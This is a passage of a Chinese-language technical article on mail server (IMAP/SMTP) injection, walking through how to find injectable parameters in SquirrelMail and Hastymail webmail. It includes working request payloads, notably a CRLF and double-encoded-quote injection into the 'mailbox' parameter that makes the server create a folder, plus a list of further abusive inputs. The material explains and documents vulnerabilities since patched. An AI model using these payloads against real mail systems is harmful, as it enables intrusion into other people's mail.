扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
在本页阅读全文(共5页)
五、发动攻击
下面我们用实例来解释不同类型的邮件服务器攻击方法,以及邮件服务器注射技术示例。这样的实例曾发生在SquirrelMail(1.2.7和1.4.5版本)和Hastymail(1.0.2和1.5版本)这两种Webmail应用程序上。因为SquirrelMail团队已经废止了SquirrelMail的1.2.7版本,而推荐的最低版本为1.4.6,因为之前的版本都有弱点。Hastymail在1.5之前的所有版本都容易受到SMTP和IMAP注射的影响,所以要经常检查最新的补丁。SquirrelMail和Hastymail团队在收到这些问题的通知后,都迅速进行了修正。不久之后,Nessus发布了一个检查这种弱点的插件。
实施攻击时,必须经过以下两个步骤:
确定出一个有弱点的参数;
了解它的作用范围。
(一)发现有弱点的参数
识别有弱点的参数的方法可以采用其他类型注射所采用的方法:试探法。也就是说,要发送具有异常值(应用程序的非预期值)的请求给原始IMAP和SMTP命令所用到的每个可疑参数,然后分析其行为,从而找出可以利用的参数。下面举例说明。
当用户要访问SquirrelMail中的收件箱(INBOX)时,所用的请求如下所示:
http: // PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX 如果用户用下列方式修改参数“mailbox”的值: http:// PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX%22 那么应用程序就会返回一个如下所示的错误信息: ERROR : Bad or malformed request. Query: SELECT "INBOX"" Server responded: Unexpected extra arguments to Select |
显然,这不是该应用程序所期望的正常行为。此外,该消息显示IMAP命令“SELECT”正在被执行。利用这个方法,我们可以推断出参数“mailbox”具有邮件服务器注射漏洞,准确来说是容易受到IMAP注射的攻击。在其他情况下,有弱点的参数的检测和利用没有这么明显。例如,当用户访问它们的Hastymail收件箱时,相应的请求如下所示:
http:// 7944bf5a2e616484769472002f8c1&mailbox=INBOX 如果用户用下列方式修改参数“mailbox”的值: http:// 7944bf5a2e616484769472002f8c1&mailbox=INBOX" 应用程序将回应下列消息: Could not access the following folders: INBOX\" To check for outside changes to the folder list go to the folders page 在此种情况下,添加引号并没有改变应用程序的行为。 结果跟用户已经注入其他任何字符时一样: http:// 7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST 那么应用程序就会返回同样的错误信息: Could not access the following folders: NOTEXIST To check for outside changes to the folder list go to the folders page 如果用户试图注射其它的IMAP命令: http:// 7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST "%0d%0aA0003%20CREATE%20"INBOX.test 那么应用程序就会又返回一个错误信息: Unable to perform the requested action Hastymail said:: A0003 SELECT "INBOX" And the IMAP server said:: A0003 NO Invalid mailbox name. |
乍一看,好像是IMAP注射无法进行。然而,通过使用引号的一种变化形式,我们能够达到目的。下一个例子使用引号的双字符编码形式即%2522,来替换上面的单字符形式:
http:///html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox= NOTEXIST%2522%0d%0aA0003%20CREATE%20%2522INBOX.test |
在此种情况下,应用程序不仅不会返回任何错误信息,而且还会在收件箱创建文件夹“test”。其它的滥用情形:
◆给参数一个空值,例如“mailbox= ”。
◆用不存在的邮箱的名称来替换某些值,例如“mailbox=NotExists”。
◆给参数添加其它的值,例如“mailbox=INBOX PARAMETER2”
◆添加其它的非标准字符,例如\, ?, @, #, !, |, \n。
◆添加CRLF序列,例如“mailbox=INBOX%0d%0a”。
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者